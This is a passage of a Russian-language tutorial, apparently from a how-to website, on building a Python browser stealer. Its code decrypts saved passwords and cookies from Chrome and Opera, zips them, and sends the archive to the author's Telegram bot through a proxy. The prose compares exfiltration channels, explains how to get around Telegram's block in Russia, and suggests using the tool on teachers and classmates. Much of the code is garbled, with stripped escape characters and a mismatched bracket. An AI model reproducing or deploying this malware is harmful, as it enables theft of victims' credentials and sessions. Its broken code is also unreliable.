‘Browser: ‘ + name + ‘nLink: ‘ + url + ‘nLogin: ‘ + login + ‘nPassword: ‘ + password + ‘n’)

def cookies(name, path, database_path, master_key):

Cookies = [] #Куки добавляются сюда

copy(path, database_path)#Копируем базу

cursor = sqlite3.connect(database_path).cursor()#Коннектимся к базе

cursor.execute(«SELECT * from cookies»)#Читаем куки

for result in cursor.fetchall():

try:

cookie = decryption(result[12], master_key)#Декриптим куки

except Exception:

return

cookie_name = result[2]

exp = result[5]

if result[6]:#Достаем значения для записи в net-scape формат

secure = «TRUE»

else:

secure = «FALSE»

if result[7]:

isHttp = «TRUE»

else:

isHttp = «FALSE»

path = result[4]

url = result[1].replace(«https://», «»).replace(«http://», «»).split(«/»)[0]

Cookies.append((url + «t» + secure + «t» + path + «t» + isHttp + «t» + str(#Записываем куки в net-scape формате

exp / 1000000) + «t» + cookie_name + «t» + str(cookie)))

for i in range(0, 100):

if i >= 1:

if name + str(i) in CookiesDict:#короч эта штука

continue#если найдено несколько профилей

else:

CookiesDict[name + str(i)] = Cookies#то записывает куки

break

else:

if name in CookiesDict:#с одного браузера

continue

else:

CookiesDict[name] = Cookies#В разные текстовики

break

def helper(name, path, database_path, master_key):

if database_path.endswith(«Cookies»):#Оп, куки

copyPath = path + ‘Backup Cookies’#Копируем бд, ибо читать из оригинала, когда запущен браузер, нельзя

cookies(name, database_path, copyPath, master_key)#Дешифруем куки

if database_path.endswith(«Login Data»):#Оп, пароли

copyPath = path + ‘Backup Password’

passwords(name, database_path, copyPath, master_key)#Дешифруем пароли

if __name__ == «__main__»: #Точка входа в программу

chromium_browsers = { #Пути до браузеров

u’google chrome’: os.getenv(«LOCALAPPDATA») + r’GoogleChromeUser Data’, #Хром

u’opera’: os.getenv(«APPDATA») + r’Opera SoftwareOpera Stable’}#Опера

}

for browser, path in chromium_browsers.items():

if os.path.exists(path):#Есть ли браузер

for database_path, master_key in db_dirs(path):#Функция поиска баз и мастер-ключа

helper(browser, path, database_path, master_key)#Отправляет куки в декод куков, пароли в декод паролей

try:

os.makedirs(os.getenv(«TEMP») + ‘\Debug\’)#Здесь будет наш архив

except OSError:

pass

path_main = os.getenv(«TEMP») + ‘\Debug\’

zipload = zipfile.ZipFile(os.path.join(path_main, «MyZip» + «.zip»), ‘w’)#Создаем архив и насовываем ему наши данные

if (len(PasswordsArray) > 0):

file = open(os.path.join(path_main, «Passwords.txt»), «w+», encoding=’utf-8′)

file.write(«n».join(PasswordsArray))#Пишем пароли в текстовик

file.close()

zipload.write(os.path.join(path_main, «Passwords.txt»),

«\Browsers\» + os.path.basename(os.path.join(path_main, «Passwords.txt»)))#Суем текстовик в архив, ниже кста также

if (len(CookiesDict) > 0):

for browser, cooks in CookiesDict.items():

file = open(path_main + «\» + browser + «.txt», «w+», encoding=’utf-8′)

file.write(«n».join(cooks))

file.close()

zipload.write(path_main + «\» + browser + «.txt», «\Cookies\» + browser + «.txt»)

zipload.close()

Отлично, мы получили куки и пароли, упаковали все в архив, осталась только отправка.

Здесь стоит остановиться, есть несколько путей:

1)Разобраться в апи какого то файлообменника (Google Disk, Yandex Disk, DropBox и тд), минус в том что если вытащат ваши данные от апи, по типу токена, тогда можете попрощаться со своими логами

2)Принимать лог себе на панель установленную на хостинге или на Дедике, самый надежный вариант, не забудьте проставить права доступа к файлам на своем хостинге. Минус в том что, если на вас будут поступать жалобы или вы возьмете публичную панель с интернета, то в первом случае вас забанят через время, во втором случае вас могут забанить перманентно и в тот же момент

3)Отправлять логи в телеграмм через прокси, хороший вариант, но есть свои минусы, почти любой может увидеть ваш токен, через тот же вирустотал, во вкладке отвечающей за взаимодействие с сетью. Лучшим решением будет отправлять лог на панель и пересылать в ваш телеграмм.

Если вы делаете для себя и хотите кидать данное ПО своим учителям и девкам с класса, то спокойно можете отправлять напрямую себе в телеграмм, в данной статье я покажу именно этот способ отправки и расскажу как обойти бан телеграмма в России

Для обхода бана телеграмма, нам нужно устанавливать соединение через прокси. Идете на любой сайт с бесплатными проксями и берете парочку, я буду показывать на примере https проксей

Также нужно будет создать бота в телеге и написать ему /start, это уже сами нагуглите

zipPath = os.path.join(path_main, «myZip» + «.zip»)

token = «w123344bukvi2847982498cifriokicejo»

chat_id = «tvoychatid-ego-mojno-uznat-u-specialnix-botov»

proxy_array = [«198.27.69.175:3128»}#Твоя прокся

data = {‘chat_id’: chat_id}

r = requests

files = {‘document’: open(zipPath, ‘rb’)}

response = r.post(«https://api.telegram.org/bot» + token + «/sendDocument», files=files, data=data,#Отправляем и никаких лишних библиотек

proxies={‘https’: ‘https://’ + proxy}, timeout=(1, 10))

Поздравляю, вы отправили лог себе в телеграмм, впервые рады звуку уведомления?

Понравилась статья? Поделить с друзьями:

Не пропустите и эти статьи:

  • Как написать стиллер для андроид
  • Как написать стиллавину на маяк
  • Как написать стикеры на клавиатуре
  • Как написать стиз
  • Как написать стеснение

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии